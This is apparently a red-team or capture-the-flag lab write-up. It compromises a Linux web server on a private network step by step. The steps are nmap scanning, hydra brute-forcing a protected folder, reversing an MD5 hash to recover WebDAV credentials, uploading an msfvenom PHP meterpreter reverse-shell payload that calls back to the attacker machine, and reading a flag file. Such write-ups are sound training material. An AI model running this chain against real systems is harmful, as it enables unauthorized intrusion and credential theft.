# **Red Team: Summary of Operations**

## **Table of Contents**

* **Exposed Services**
  + Target 1 – 192.168.1.105
* **Critical Vulnerabilities**
  + Target 1 - 192.168.1.105
* **Exploitation**
  + Target 1 - 192.168.1.105

### **Exposed Services**

Discover the ip address of the web server

Discover the IP address of the Linux web server.

**root@Kali:~#** ifconfig

=🡺 inet 192.168.1.90 netmask 255.255.255.0 broadcast 192.168.1.255

**Critical vulnerabilities**

**root@Kali:~#** nmap -sV 192.168.1.0/24 (run nmap on the range).

Nmap scan report for 192.168.1.105 (192.168.1.105) - IP address discovered...with open port.

Host is up

Not shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

**root@Kali:~/**Desktop#

Exploitation

**root@Kali:~**Desktop# hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get /company\_folders/secret\_folder (ensure rockyou.txt is downloaded to your desktop)

\*\*\*password: leopoldo

Then click on connect\_to\_corp\_server 2019-05-07 18:28 414

Revelation: In order to connect to our companies webdev server I need to use ryan's account (Hash: d7dad0a5cd7c8376eeb50d69b3ccd352)

I need to open the folder on the left hand brand

I need to click "Other Locations:

I need to type "dav://192.16.84.205/webdav/"

I will be prompted for my user (but i'll use ryans account) and password

I can click and drag files into the share and reload my browser

Next steps:

copy the hash of Ryan's account:

Paste into google: d7dad0a5cd7c8376eeb50d69b3ccd352

on Google: It takes you to md5.gromweb.com

The MD5 hash d7dad0a5cd7c8376eeb50d69b3ccd352 was successfully reversed into the string: linux4u

Then go to Kali symbol - File Manager - At the Top Enter: dav://192.168.1.105/webdav

Enter password for webdav:

Username: ryan

Password: linux4u

You will see a file: passwd.dav

Then return to Kali (Step 1: To create a reverse shell payload, Step 2: )

root@Kali:~/Desktop# msfvenom -p php/meterpreter/reverse\_tcp lhost=192.168.1.90 lport=4444 >> shell.php

Now we have shell.php on the Desktop

root@Kali:~/Desktop# msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload php/meterpreter/reverse\_tcp

payload => php/meterpreter/reverse\_tcp

msf5 exploit(multi/handler) > show options

msf5 exploit(multi/handler) > set LHOST 192.168.1.90

LHOST => 192.168.1.90

msf5 exploit(multi/handler) > exploit

- While waiting, go to Desktop, copy shell.php and paste in the webdav folder

- Go back to Mozilla Firefox...type: 192.168.1.105/webdav/

Enter: Username: ryan

Password: linux4u

You will see the shell.php file on the web...

Click on the shell.php file and go to Kali Linux

It should show: Meterpreter session 1 opened (192.168.1.90:4444 -> 192.168.1.105:60796) at 2021-06-12 19:35:43 -0700

meterpreter > shell

Process 2658 created

Channel 0 created

cd /

ls

bin

boot

dev

etc

flag.txt

home

initrd.img

initrd.img.old

lib

lib64

lost+found

media

mnt

opt

proc

root

run

sbin

snap

srv

swap.img

sys

tmp

usr

vagrant

var

vmlinuz

vmlinuz.old

cat flag.txt (To capture the flag)

**b1ng0w@5h1sn@m0**